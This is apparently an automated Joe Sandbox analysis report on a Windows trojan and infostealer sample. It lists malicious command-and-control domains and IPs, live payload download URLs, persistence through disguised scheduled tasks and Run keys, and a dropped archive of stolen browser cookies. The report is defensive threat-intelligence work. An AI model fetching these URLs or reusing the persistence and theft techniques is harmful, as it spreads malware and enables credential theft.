21.0.cviueca.400000.1.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
29.1.192F.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
21.0.cviueca.400000.3.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
33.3.69B5.exe.2c10000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
29.2.192F.exe.3180e50.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.2.SkB6zJ6H3N.exe.2be15a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
26.0.cviueca.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
19.2.97A5.exe.2cb15a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
29.2.192F.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
26.2.cviueca.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
21.0.cviueca.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
26.0.cviueca.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
26.0.cviueca.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
20.2.97A5.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
33.2.69B5.exe.2c00e50.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
4.0.SkB6zJ6H3N.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
21.0.cviueca.400000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
21.2.cviueca.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
21.0.cviueca.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
22.2.cviueca.2c715a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
18.2.cviueca.2d815a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
33.2.69B5.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
4.2.SkB6zJ6H3N.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
21.0.cviueca.400000.2.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
20.0.97A5.exe.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
4.0.SkB6zJ6H3N.exe.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
21.1.cviueca.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
29.3.192F.exe.3190000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File

Domains

Source	Detection	Scanner	Link
privacytoolzforyou-6000.top	5%	Virustotal	Browse
iyc.jelikob.ru	12%	Virustotal	Browse
mas.to	7%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
http://tempuri.org/DetailsDataSet1.xsd	0%	Avira URL Cloud	safe
http://sysaheu90.top/game.exe	100%	Avira URL Cloud	malware
http://ocsp.sectigo.com0	0%	URL Reputation	safe
http://194.180.174.181//l/f/9Z2CynwB3dP17SpzOnMI/7af57f772c6107cc1c44807ee6e54627588ad2f9	0%	Avira URL Cloud	safe
http://nusurtal4f.net/	0%	Avira URL Cloud	safe
http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s	0%	URL Reputation	safe
http://194.180.174.181//l/f/9Z2CynwB3dP17SpzOnMI/9f3868956801fb92fa090557a1edc6020dc838a9	0%	Avira URL Cloud	safe
http://194.180.174.181//l/f/_51AzHwB3dP17SpzL5Xz/3fa38023efb6f7516e4aff23353cd7c666085597	0%	Avira URL Cloud	safe
http://znpst.top/dl/buildz.exe	100%	Avira URL Cloud	malware
http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#	0%	URL Reputation	safe
http://privacytoolzforyou-6000.top/downloads/toolspab2.exe	100%	Avira URL Cloud	malware
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	0%	URL Reputation	safe
https://sectigo.com/CPS0C	0%	URL Reputation	safe
http://194.180.174.181/	0%	Avira URL Cloud	safe
https://sectigo.com/CPS0D	0%	URL Reputation	safe
http://194.180.174.181//l/f/_51AzHwB3dP17SpzL5Xz/3c5ef2028f9a45f85119eb6cb39f21b264b252bf	0%	Avira URL Cloud	safe
http://toptelete.top/agrybirdsgamerept	100%	Avira URL Cloud	malware
http://193.56.146.214/	0%	Avira URL Cloud	safe
http://xacokuo8.top/	100%	Avira URL Cloud	malware
http://hajezey1.top/	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
privacytoolzforyou-6000.top	185.98.87.159	true	true	5%, Virustotal, Browse	unknown
iyc.jelikob.ru	81.177.141.36	true	true	12%, Virustotal, Browse	unknown
toptelete.top	172.67.160.46	true	false		unknown
mas.to	88.99.75.82	true	false	7%, Virustotal, Browse	unknown
cdn.discordapp.com	162.159.135.233	true	false		high
api.2ip.ua	77.123.139.190	true	false		high
znpst.top	116.121.62.237	true	true		unknown
nusurtal4f.net	45.141.84.21	true	true		unknown
hajezey1.top	185.98.87.159	true	true		unknown
sysaheu90.top	185.98.87.159	true	true		unknown
telegalive.top	unknown	unknown	true		unknown
xacokuo8.top	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://sysaheu90.top/game.exe	true	Avira URL Cloud: malware	unknown
http://194.180.174.181//l/f/9Z2CynwB3dP17SpzOnMI/7af57f772c6107cc1c44807ee6e54627588ad2f9	true	Avira URL Cloud: safe	unknown
http://nusurtal4f.net/	false	Avira URL Cloud: safe	unknown
http://194.180.174.181//l/f/9Z2CynwB3dP17SpzOnMI/9f3868956801fb92fa090557a1edc6020dc838a9	true	Avira URL Cloud: safe	unknown
http://194.180.174.181//l/f/_51AzHwB3dP17SpzL5Xz/3fa38023efb6f7516e4aff23353cd7c666085597	true	Avira URL Cloud: safe	unknown
http://znpst.top/dl/buildz.exe	true	Avira URL Cloud: malware	unknown
http://privacytoolzforyou-6000.top/downloads/toolspab2.exe	true	Avira URL Cloud: malware	unknown
http://194.180.174.181/	true	Avira URL Cloud: safe	unknown
http://194.180.174.181//l/f/_51AzHwB3dP17SpzL5Xz/3c5ef2028f9a45f85119eb6cb39f21b264b252bf	true	Avira URL Cloud: safe	unknown
http://toptelete.top/agrybirdsgamerept	true	Avira URL Cloud: malware	unknown
http://193.56.146.214/	false	Avira URL Cloud: safe	unknown
http://xacokuo8.top/	true	Avira URL Cloud: malware	unknown
http://hajezey1.top/	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://tempuri.org/DetailsDataSet1.xsd	319A.exe, 0000001F.00000000.402921525.0000000000D52000.00000002.00020000.sdmp, 319A.exe.7.dr	false	Avira URL Cloud: safe	unknown
http://www.autoitscript.com/autoit3/J	explorer.exe, 00000007.00000000.296667316.0000000006840000.00000004.00000001.sdmp	false		high
https://duckduckgo.com/chrome_newtab	1xVPfvJcrg.36.dr	false		high
https://duckduckgo.com/ac/?q=	1xVPfvJcrg.36.dr	false		high
https://cdn.discordapp.com/attachments/893177342426509335/903580015046828032/039F9A54.jpg	89D7.exe.7.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	1xVPfvJcrg.36.dr	false		high
http://ocsp.sectigo.com0	86B8.exe.7.dr	false	URL Reputation: safe	unknown
https://cdn.discordapp.com/attachments/893177342426509335/903580013041967104/06ED9A1B.jpg	89D7.exe.7.dr	false		high
https://cdn.discordapp.com/attachments/893177342426509335/903333369742491648/1E88D378.jpg	EDD.exe, 0000001C.00000000.384142005.0000000000812000.00000002.00020000.sdmp, EDD.exe.7.dr	false		high
http://fontello.com	5D4.exe.7.dr	false		high
https://cdn.discordapp.com/attachments/893177342426509335/902526114763767818/A623D0D3.jpg	319A.exe, 0000001F.00000000.402921525.0000000000D52000.00000002.00020000.sdmp, 319A.exe.7.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	1xVPfvJcrg.36.dr	false		high
http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s	AdvancedRun.exe.31.dr	false	URL Reputation: safe	unknown
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	1xVPfvJcrg.36.dr	false		high
http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#	AdvancedRun.exe.31.dr	false	URL Reputation: safe	unknown
https://cdn.discordapp.com/attachments/893177342426509335/903580017093660692/A303D181.jpg	89D7.exe.7.dr	false		high
https://cdn.discordapp.com/attachments/893177342426509335/903575519373697084/F83CB811.jpg	5D4.exe.7.dr	false		high
https://ac.ecosia.org/autocomplete?q=	1xVPfvJcrg.36.dr	false		high
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	86B8.exe.7.dr	false	URL Reputation: safe	unknown
https://cdn.discordapp.com/attachments/893177342426509335/902526117016109056/AB0F9338.jpg	319A.exe, 0000001F.00000000.402921525.0000000000D52000.00000002.00020000.sdmp, 319A.exe.7.dr	false		high
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	86B8.exe.7.dr	false	URL Reputation: safe	unknown
https://sectigo.com/CPS0C	AdvancedRun.exe.31.dr	false	URL Reputation: safe	unknown
https://sectigo.com/CPS0D	86B8.exe.7.dr	false	URL Reputation: safe	unknown
https://cdn.discordapp.com/attachments/893177342426509335/903580019203387432/930B55FC.jpg	89D7.exe.7.dr	false		high
http://www.nirsoft.net/	AdvancedRun.exe, AdvancedRun.exe, 00000023.00000002.433249054.000000000040C000.00000002.00020000.sdmp, AdvancedRun.exe, 0000002A.00000000.454048622.000000000040C000.00000002.00020000.sdmp, AdvancedRun.exe.31.dr	false		high
https://cdn.discordapp.com/attachments/893177342426509335/903575517888925756/6D9E3C88.jpg	5D4.exe.7.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	1xVPfvJcrg.36.dr	false		high
http://www.sqlite.org/copyright.html.	sqlite3.dll.36.dr	false		high
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	1xVPfvJcrg.36.dr	false		high
https://cdn.discordapp.com/attachments/893177342426509335/903196811345395712/6058E8D5.jpg	8746.exe.7.dr	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
81.177.141.36	iyc.jelikob.ru	Russian Federation	8342	RTCOMM-ASRU	true
193.56.146.214	unknown	unknown	10753	LVLT-10753US	false
116.121.62.237	znpst.top	Korea Republic of	9578	CJNET-ASCheiljedangCoIncKR	true
172.67.160.46	toptelete.top	United States	13335	CLOUDFLARENETUS	false
194.180.174.181	unknown	unknown	39798	MIVOCLOUDMD	true
216.128.137.31	unknown	United States	20473	AS-CHOOPAUS	true
162.159.135.233	cdn.discordapp.com	United States	13335	CLOUDFLARENETUS	false
93.115.20.139	unknown	Romania	202448	MVPShttpswwwmvpsnetEU	false
162.159.133.233	unknown	United States	13335	CLOUDFLARENETUS	false
185.98.87.159	privacytoolzforyou-6000.top	Russian Federation	205840	VM-HOSTINGRU	true
45.141.84.21	nusurtal4f.net	Russian Federation	206728	MEDIALAND-ASRU	true

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	511734
Start date:	29.10.2021
Start time:	15:28:09
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 14m 34s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	SkB6zJ6H3N.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	42
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@40/37@64/12
EGA Information:	Failed
HDC Information:	Successful, ratio: 49.3% (good quality ratio 32.3%) Quality average: 41.5% Quality standard deviation: 37.3%
HCA Information:	Failed
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information. TCP Packets have been reduced to 100 Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 23.211.6.115, 23.211.4.86, 20.82.210.154, 173.222.108.210, 173.222.108.226, 20.54.110.249, 40.91.112.76, 40.112.88.60, 80.67.82.211, 80.67.82.235 Excluded domains from analysis (whitelisted): displaycatalog-rp-uswest.md.mp.microsoft.com.akadns.net, store-images.s-microsoft.com-c.edgekey.net, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, wus2-displaycatalogrp.useroor.bigcatalog.commerce.microsoft.com, a1449.dscg2.akamai.net, arc.msn.com, e12564.dspb.akamaiedge.net, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, arc.trafficmanager.net, consumer-displaycatalogrp-aks2aks-uswest.md.mp.microsoft.com.akadns.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, fs.microsoft.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, wu-shim.trafficmanager.net, neu-displaycatalogrp.useroor.bigcatalog.commerce.microsoft.com, ris-prod.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, e1723.g.akamaiedge.net, ctldl.windowsupdate.com, download.windowsupdate.com.edgesuite.net, ris.api.iris.microsoft.com, store-images.s-microsoft.com, displaycatalog-rp.md.mp.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information Report size exceeded maximum capacity and may have missing behavior information. Report size exceeded maximum capacity and may have missing disassembly code. Report size exceeded maximum capacity and may have missing network information. Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtOpenFile calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
15:29:51	Task Scheduler	Run new task: Firefox Default Browser Agent 71E5B89E27185EFF path: C:\Users\user\AppData\Roaming\cviueca
15:30:41	API Interceptor	7x Sleep call for process: 32BC.exe modified
15:30:42	API Interceptor	40x Sleep call for process: powershell.exe modified
15:31:03	Task Scheduler	Run new task: Firefox Default Browser Agent FCA2534EFF53B25C path: C:\Users\user\AppData\Roaming\sfiueca
15:31:07	Task Scheduler	Run new task: Firefox Default Browser Agent 14D0FD35AB9411B6 path: C:\Users\user\AppData\Roaming\eviueca
15:31:42	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\45135c8c-e794-4096-a63b-63751937bee2\6DDE.exe" --AutoStart
15:31:57	Task Scheduler	Run new task: Time Trigger Task path: C:\Users\user\AppData\Local\45135c8c-e794-4096-a63b-63751937bee2\6DDE.exe s>--Task
15:32:00	Task Scheduler	Run new task: Telemetry Logging path: C:\Users\user\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe
15:32:01	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\45135c8c-e794-4096-a63b-63751937bee2\6DDE.exe" --AutoStart

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
81.177.141.36	RE0jBlQylG.exe	Get hash	malicious	Browse	k4dt.jelikob.ru/1780464471.exe
	9d185a3e5184065f1628af9d8325e53b8503a0f7705e5.exe	Get hash	malicious	Browse	k4d5y.jelikob.ru/854179346.exe
	sboPQqfpHN.exe	Get hash	malicious	Browse	hwg.jelikob.ru/126808361.exe
193.56.146.214	yj2Lz2zdxp.exe	Get hash	malicious	Browse	193.56.146.214/
193.56.146.214	HScFcN13Wz.exe	Get hash	malicious	Browse	193.56.146.214/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
iyc.jelikob.ru	Md0q201V1D.exe	Get hash	malicious	Browse	81.177.141.36
	yj2Lz2zdxp.exe	Get hash	malicious	Browse	81.177.141.36
	y1JBw0eea5.exe	Get hash	malicious	Browse	81.177.141.36
	21sSRmeUyz.exe	Get hash	malicious	Browse	81.177.141.36
	Bi6Q4LEA04.exe	Get hash	malicious	Browse	81.177.141.36
	Fo69229D6C.exe	Get hash	malicious	Browse	81.177.141.36
	plf5v18Xds.exe	Get hash	malicious	Browse	81.177.141.36
	ir7Dw3fZ29.exe	Get hash	malicious	Browse	81.177.141.36
	pSY2vVxk86.exe	Get hash	malicious	Browse	81.177.141.36
	HScFcN13Wz.exe	Get hash	malicious	Browse	81.177.141.36
	w1voKmCYOz.exe	Get hash	malicious	Browse	81.177.141.36
	bg5hiAKH5y.exe	Get hash	malicious	Browse	81.177.141.36
	e4eukUb6d1.exe	Get hash	malicious	Browse	81.177.141.36
	KZrl2MY8C5.exe	Get hash	malicious	Browse	81.177.141.36
	AY5uCs0HrY.exe	Get hash	malicious	Browse	81.177.141.36
	Hgny9xwmj6.exe	Get hash	malicious	Browse	81.177.141.36
	Pv9fSenm0V.exe	Get hash	malicious	Browse	81.177.141.36
	t63ouMqJ8f.exe	Get hash	malicious	Browse	81.177.141.36
	pq9FtcL817.exe	Get hash	malicious	Browse	81.177.141.36
	gnykCySWj5.exe	Get hash	malicious	Browse	81.177.141.36
privacytoolzforyou-6000.top	AyAj5GJqIg.exe	Get hash	malicious	Browse	5.188.88.203
	Md0q201V1D.exe	Get hash	malicious	Browse	5.188.88.203
	yj2Lz2zdxp.exe	Get hash	malicious	Browse	5.188.88.203
	y1JBw0eea5.exe	Get hash	malicious	Browse	5.188.88.203
	21sSRmeUyz.exe	Get hash	malicious	Browse	5.188.88.203
	Bi6Q4LEA04.exe	Get hash	malicious	Browse	5.188.88.203
	rouraiQ4P3.exe	Get hash	malicious	Browse	185.185.69.21
	Fo69229D6C.exe	Get hash	malicious	Browse	185.185.69.21
	plf5v18Xds.exe	Get hash	malicious	Browse	185.185.69.21
	ir7Dw3fZ29.exe	Get hash	malicious	Browse	185.185.69.21
	pSY2vVxk86.exe	Get hash	malicious	Browse	185.185.69.21
	HScFcN13Wz.exe	Get hash	malicious	Browse	185.185.69.21
	w1voKmCYOz.exe	Get hash	malicious	Browse	185.185.69.21
	bg5hiAKH5y.exe	Get hash	malicious	Browse	185.185.69.21
	e4eukUb6d1.exe	Get hash	malicious	Browse	185.185.69.21
	KZrl2MY8C5.exe	Get hash	malicious	Browse	185.185.69.21
	AY5uCs0HrY.exe	Get hash	malicious	Browse	185.185.69.21
	Hgny9xwmj6.exe	Get hash	malicious	Browse	185.185.69.21
	Pv9fSenm0V.exe	Get hash	malicious	Browse	185.185.69.21
	t63ouMqJ8f.exe	Get hash	malicious	Browse	185.185.69.21

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
LVLT-10753US	yj2Lz2zdxp.exe	Get hash	malicious	Browse	193.56.146.214
	y1JBw0eea5.exe	Get hash	malicious	Browse	193.56.146.214
	Bi6Q4LEA04.exe	Get hash	malicious	Browse	193.56.146.214
	vEBWe85OY5	Get hash	malicious	Browse	208.51.98.34
	Fo69229D6C.exe	Get hash	malicious	Browse	193.56.146.214
	HScFcN13Wz.exe	Get hash	malicious	Browse	193.56.146.214
	AY5uCs0HrY.exe	Get hash	malicious	Browse	193.56.146.214
	t63ouMqJ8f.exe	Get hash	malicious	Browse	193.56.146.214
	wRmHCEnowI	Get hash	malicious	Browse	94.154.174.104
	eImb49ofup	Get hash	malicious	Browse	94.154.174.115
	f5a160643d5d68888ca63351aa503284c14971b9d6d22.exe	Get hash	malicious	Browse	193.56.146.64
	hNsTaM2BAu	Get hash	malicious	Browse	168.215.14.42
	eBQ4XSarFt	Get hash	malicious	Browse	147.207.217.91
	6Uh6CSZ8oN	Get hash	malicious	Browse	147.207.27.141
	Tsunami.x86	Get hash	malicious	Browse	94.154.174.132
	nfmAUVANYA	Get hash	malicious	Browse	200.24.17.224
	DqvtaJLisV.exe	Get hash	malicious	Browse	193.56.146.60
	w347KbpZ6t.exe	Get hash	malicious	Browse	193.56.146.60
	V5cy4riN4O.exe	Get hash	malicious	Browse	193.56.146.60
	Hm7d40tE44.exe	Get hash	malicious	Browse	193.56.146.188
RTCOMM-ASRU	Md0q201V1D.exe	Get hash	malicious	Browse	81.177.141.36
	yj2Lz2zdxp.exe	Get hash	malicious	Browse	81.177.141.36
	y1JBw0eea5.exe	Get hash	malicious	Browse	81.177.141.36
	21sSRmeUyz.exe	Get hash	malicious	Browse	81.177.141.36
	Bi6Q4LEA04.exe	Get hash	malicious	Browse	81.177.141.36
	Fo69229D6C.exe	Get hash	malicious	Browse	81.177.141.36
	plf5v18Xds.exe	Get hash	malicious	Browse	81.177.141.36
	ir7Dw3fZ29.exe	Get hash	malicious	Browse	81.177.141.36
	pSY2vVxk86.exe	Get hash	malicious	Browse	81.177.141.36
	HScFcN13Wz.exe	Get hash	malicious	Browse	81.177.141.36
	w1voKmCYOz.exe	Get hash	malicious	Browse	81.177.141.36
	bg5hiAKH5y.exe	Get hash	malicious	Browse	81.177.141.36
	e4eukUb6d1.exe	Get hash	malicious	Browse	81.177.141.36
	KZrl2MY8C5.exe	Get hash	malicious	Browse	81.177.141.36
	AY5uCs0HrY.exe	Get hash	malicious	Browse	81.177.141.36
	Hgny9xwmj6.exe	Get hash	malicious	Browse	81.177.141.36
	Pv9fSenm0V.exe	Get hash	malicious	Browse	81.177.141.36
	t63ouMqJ8f.exe	Get hash	malicious	Browse	81.177.141.36
	pq9FtcL817.exe	Get hash	malicious	Browse	81.177.141.36
	gnykCySWj5.exe	Get hash	malicious	Browse	81.177.141.36

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ce5f3254611a8c095a3d821d44539877	21sSRmeUyz.exe	Get hash	malicious	Browse	81.177.141.36
	97HaxOZ8Wu.exe	Get hash	malicious	Browse	81.177.141.36
	97HaxOZ8Wu.exe	Get hash	malicious	Browse	81.177.141.36
	6810825092 ISF - EMC ___ - Draft.scr.exe	Get hash	malicious	Browse	81.177.141.36
	ir7Dw3fZ29.exe	Get hash	malicious	Browse	81.177.141.36
	pSY2vVxk86.exe	Get hash	malicious	Browse	81.177.141.36
	HScFcN13Wz.exe	Get hash	malicious	Browse	81.177.141.36
	w1voKmCYOz.exe	Get hash	malicious	Browse	81.177.141.36
	bg5hiAKH5y.exe	Get hash	malicious	Browse	81.177.141.36
	e4eukUb6d1.exe	Get hash	malicious	Browse	81.177.141.36
	KZrl2MY8C5.exe	Get hash	malicious	Browse	81.177.141.36
	Hgny9xwmj6.exe	Get hash	malicious	Browse	81.177.141.36
	Pv9fSenm0V.exe	Get hash	malicious	Browse	81.177.141.36
	lO6Gq6TznP.exe	Get hash	malicious	Browse	81.177.141.36
	spectrum_internet_service_level_agreement.js	Get hash	malicious	Browse	81.177.141.36
	spectrum_internet_service_level_agreement.js	Get hash	malicious	Browse	81.177.141.36
	6oi3E5jdTR.exe	Get hash	malicious	Browse	81.177.141.36
	Jm3x80kZjO.exe	Get hash	malicious	Browse	81.177.141.36
	J4sqj3xhBf.doc	Get hash	malicious	Browse	81.177.141.36
	4BxZpwUFPO.exe	Get hash	malicious	Browse	81.177.141.36
54328bd36c14bd82ddaa0c04b25ed9ad	QM5qEGS2aT.exe	Get hash	malicious	Browse	162.159.135.233
	TEXTIL_0172PDF.exe	Get hash	malicious	Browse	162.159.135.233
	PO202102900010 #QUoTE - 115892.exe	Get hash	malicious	Browse	162.159.135.233
	21sSRmeUyz.exe	Get hash	malicious	Browse	162.159.135.233
	090-08765412345670089009765.exe	Get hash	malicious	Browse	162.159.135.233
	PO# 5100299028__0001.exe	Get hash	malicious	Browse	162.159.135.233
	PAYMENT TRANSFER.exe	Get hash	malicious	Browse	162.159.135.233
	- 2021..exe	Get hash	malicious	Browse	162.159.135.233
	PeSTW7v5yC.exe	Get hash	malicious	Browse	162.159.135.233
	ir7Dw3fZ29.exe	Get hash	malicious	Browse	162.159.135.233
	pSY2vVxk86.exe	Get hash	malicious	Browse	162.159.135.233
	HScFcN13Wz.exe	Get hash	malicious	Browse	162.159.135.233
	w1voKmCYOz.exe	Get hash	malicious	Browse	162.159.135.233
	PO10976 B86b0mDlYqpH2306105pdf.doc	Get hash	malicious	Browse	162.159.135.233
	bg5hiAKH5y.exe	Get hash	malicious	Browse	162.159.135.233
	e4eukUb6d1.exe	Get hash	malicious	Browse	162.159.135.233
	KZrl2MY8C5.exe	Get hash	malicious	Browse	162.159.135.233
	DHL-SHIPMENT_INFO.exe	Get hash	malicious	Browse	162.159.135.233
	qOwryRbbIy.exe	Get hash	malicious	Browse	162.159.135.233
	987654GYYHGFD34567890-0987TGH.exe	Get hash	malicious	Browse	162.159.135.233

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\LocalLow\1xVPfvJcrg Download File
Process:	C:\Users\user\AppData\Local\Temp\32BC.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	1.1874185457069584
Encrypted:	false
SSDEEP:	96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
MD5:	72A43D390E478BA9664F03951692D109
SHA1:	482FE43725D7A1614F6E24429E455CD0A920DF7C
SHA-256:	593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
SHA-512:	FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\2U0MzuqSVXm.zip Download File
Process:	C:\Users\user\AppData\Local\Temp\32BC.exe
File Type:	Zip archive data, at least v2.0 to extract
Category:	dropped
Size (bytes):	1183
Entropy (8bit):	7.495262700309787
Encrypted:	false
SSDEEP:	24:9ij0WFTWzD9k/UeLp6WUwl5QP8HYE2xt/Qt7me7+F/l:9SoH9k8eLIW5Q62xJQpmkAt
MD5:	B42CE9AAF8B16C05F41321E37F95ABD0
SHA1:	789EC1723324AA43F373304B136136941D46D4D4
SHA-256:	0CF2C9A321BCEF3C946C88435F36CBB5CB80DE9311E133B8853884FE6A30586D
SHA-512:	CC23DA73DBE44608D0D97B6F840FD70AEFF651162596E828D04B31172960D592A616E2D577B70B4DEA091216BA425790F27FADC62532E80745A0959C41D515D4
Malicious:	false
Reputation:	unknown
Preview:	PK........F\|]SXVQ............browsers/cookies/Google Chrome_Default.txtUT.....\|a..\|a..\|a%..n. ...K.)t....#H..\U ..6.(.k...w......v.....Y....a..0L..`$@a.f.yp....^.G. j..ur.J.n.DD.eslF.;s.Vz..;..0.S%R...L~.3)..v.m...P.._.;..s...\$...F@w...\.h....."..3>.1.[.%.....%.w.%f.....PK........\\|]Si.I....E.......System Info.txtUT.....\|a..\|a..\|auSMo.0.=.J..s$RA...8-.j..t.$.J.T...Ub#.....;4.m..".y..<.ff-.......I..s.........UU..9..P.Ff.m%.....X..qFc`.Q._.V.{Y.h.7,.$`)..X.FY...r..N.4....f$....q...h..~....4]...O.......=..u...;...tXc...s........J8.dl...........5......h..Y..#.B.Z.C7.zW)......1..~.{.....$..8.,.x.^....D. ..SH.>.)!...b....yR....%x..l.^.n.i..._N8g..k'.~.?:.E.(].'....$...M.\|YYS.....LI..\...>..8..Y]g.`#+o=.......p.c........_..p.tC%.\|....r...<........VJ.x.T..=...L....)WW..G.Q..\....,Ua.3..L.S.;-/E..}9I....p...Q.....I.Q.N4.....fS.h....FH..........9Hl..H..$.(....u.dp....<..A.qV....Q@2.....Bx (......Y(...t`..q.a..R.O..)-...u.~M.(.X.. d.D50/Ug....PK....

C:\Users\user\AppData\LocalLow\RYwTiizs2t Download File
Process:	C:\Users\user\AppData\Local\Temp\32BC.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	1.1874185457069584
Encrypted:	false
SSDEEP:	96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
MD5:	72A43D390E478BA9664F03951692D109
SHA1:	482FE43725D7A1614F6E24429E455CD0A920DF7C
SHA-256:	593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
SHA-512:	FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
Malicious:	false
Reputation:	unknown
